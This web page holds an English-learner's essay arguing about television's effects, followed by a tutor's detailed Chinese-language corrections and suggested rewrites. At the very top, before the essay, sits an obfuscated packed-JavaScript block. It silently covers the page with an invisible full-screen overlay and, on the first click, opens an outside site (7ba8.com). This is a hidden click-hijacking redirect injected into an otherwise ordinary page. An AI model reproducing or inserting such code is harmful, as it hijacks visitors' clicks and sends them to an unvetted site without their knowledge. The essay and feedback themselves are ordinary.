<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>Topic: TV is bad
In today’s prosperous society, at least one television has been placed in every family’s TV table.[MSOffice1] It proves that[MSOffice2] most of people need a television either as a tool of obtaining information or a method of relaxation. In the meantime, whether television only brings positive affect has sparked spirited debate[MSOffice3] . Other claimed that television is just a bad electronic device to mislead children. [MSOffice4]
Personally, I think any good things must come with detrimental effect. But television has more advantages in my opinion.
（ 这句话直接写你统一那个观点就好了，I am in favor of the former view/. Latter view）
（第二段开头缺本段落的中心论点，你可以写 It is manifest that TV carries some benefits / impressive paybacks ）
Firstly, television can provide updated news in a visual view. So people are able to know exactly what is happening and it has clearer expression comparing[MSOffice5] with other media like radio and newspaper.
(以上两个句子尤其是第一句过于简单。 练习时应考虑在观点句上多下功夫。以上是5。5-6分句子，因为句子结构过于简单，而且第二句应该是第一句的结果，但是你在第二句中间又加个clear expression,这样就是在结果的句子中又出现了原因。 你可以这样写：people are able to know exactly what is happening with clearer expression compared with …. 建议把以上两句重新组织： 根据你这个观点，奉献一个好句子tv can provide updates news with clearer expression in both audio and visual way compared with other media like radio newspaper . With the multi – sensory experience, watchers are better acquainted with ( 获知) what is going on.
Secondly, except news[MSOffice6] , television can be used as a visual tool of teaching. Educating [MSOffice7] program gives[MSOffice8] children a ways of[MSOffice9] interesting learning. It offers animation to introduce and explain the content of book, so children have more intentions to learn and gain knowledge. Even adults, they can watch some program of cooking. It may be a lot easier than learning from recipe.
（6．5分 这个分论点的问题是： 首先前两句之间没有连接词，因为二句是举例， 所以你可以用 for example， in other words, specifically , education program gives children … 其实第二句你可以这样写： Through vivid sounds and colorful pictures, chilren’s learning process becomes more amusing and efficient.
同时二句和三句之间也没连词 besides, it offers …. 而且你的文章到目前还没有出现过复杂句，你可以这样， 把前半句保留住， 然后把so变成which stimulate children’s enthusiasm/ passion, 或者说 which inspire children for more effective learning. 这样句子就更鲜活。 最后一句可以这样写 they can watch some programs teaching cooking rather than learning from recipe, which turned such tedious process into a simple and relaxing one.
Thirdly, many programs and drama are usually created for entertainment purpose. So we can watch for amusement and relax for our brain and pressure. So, these are just some of the advantages of television, more can be found when actually watch television.
( 以上几句连续出现了两个so, 再加上之前出现的几次 so ,会让考官觉得很不爽。 So = therefore= consequently= as a result…
其次，前两句其实意思是一样的， 应该舍一句。 或者你应该把后句改写下，比如 for this reason, watching television can ease our mind.
In conclusion, television may admittedly carry potential drawbacks like eyesight damage, wasting of time because of catching by television program, and receiving negative influences of violence and pornography.
( 还没到conclusion 的时候， 你要先写坏，然后单独提出一段写解决方案，最后一段在对你的整个文章进行总结。
毁坏视力不是damage eyes, 是weaken eyes.
Despite the advantages brought from television, its drawbacks are more apparent in terms of physical and psychological aspects. To begin with, television is harmful to children’s physical development. Specifically, nowadays, tv programs takes children’s too much time that could be spend in study or with families, too much addiction to TV can induce obesity and cardiovascular problem due to lack of physical exercise Besides, long watching hours also contribute nothing to children’s good eyesight. As research indicated, spending 5 hours watching tv a day can weaken children’s eyesight and lead to other optical instances.
Furthermore, some tv programs also cause detriment to children’s psychological development. For example, nowadays, there is too much violence and nudity in television programs. Such adult-only programs, without proper censorship, can seduce children’s sadistic impulse and may even develop criminal tendency.
Besides, some tv programs selects the distorted pictures that mislead children in a stereotyped way.
However, most of these detrimental effects can be controlled and avoided by using a good time planning and a good censorship. Therefore, we should never allow poor contents of television to mislead children. On the contrary, we should use television effectively as a tool[MSOffice10] of learning and obtaining information. The result will be that we can widen our vision and knowledge.
(你的解决方案不够： In view of such seriousness, we should spare no effort but to come out of effective measures to curb it. Fewer watching hours and more constructive TV programs may be the first step under the right development. Besides, censorship should be guaranteed so that children can avoid the influence from violence and pornography. Finally, enough guidenace is also necessary to make television better serve children and adults.
最后再总结
In conclusion, I think we should never also TV to negatively influence our children. Instead, we should take immediate step to purify tv programs. The result will be that our children will be both physically and psychologically developed.
文章最大需要改进的是结构， 因为你觉得电视是不利影响多，那你在第二段落论述电视好后， 在第三段落应该着重论述电视不好， 这样才够题， 否则你这样写， 你的task reponse就没有足够完成， 只是部分回应你的观点，你自己的观点没有得到充分的展开
同时你的解决方案写的太少，这样你的任务完成也不够，没有回应题目的要求
[MSOffice1]为什么是at least one? 而且place sth on table
你这个句子是想写电视机很流行。 如果是要考7分， 最好要写句概括性的句子，况且又是第一段的第一行，尽量用的词句好一些
你可以这样写： television has dominate our life. 或者this modern society has witnessed the proliferation of TV
或者
Tv is flooding into every corner of our life
[MSOffice2] It proves that 替换 it is manifest that
[MSOffice3] 你这里其实应该写 到底电视机对我们生活造成了正面还是负面的影响引起了广泛的争论
Whether tv imposed positive or negative influence has sparked hot debate
[MSOffice4] Some people content that television exert tv exerts more significant effects on our life, others think that the negative influence of tv is more overwhelming.
其实电视本身是不会mislead 儿童的。 而且不要tv is an electronic device, 这样说太直白
[MSOffice5] Compared with
[MSOffice6]Unlike news, …
[MSOffice7]Some education programs give
[MSOffice8]Afford
[MSOffice9]A better way of learning
[MSOffice10]As an effective tool of |
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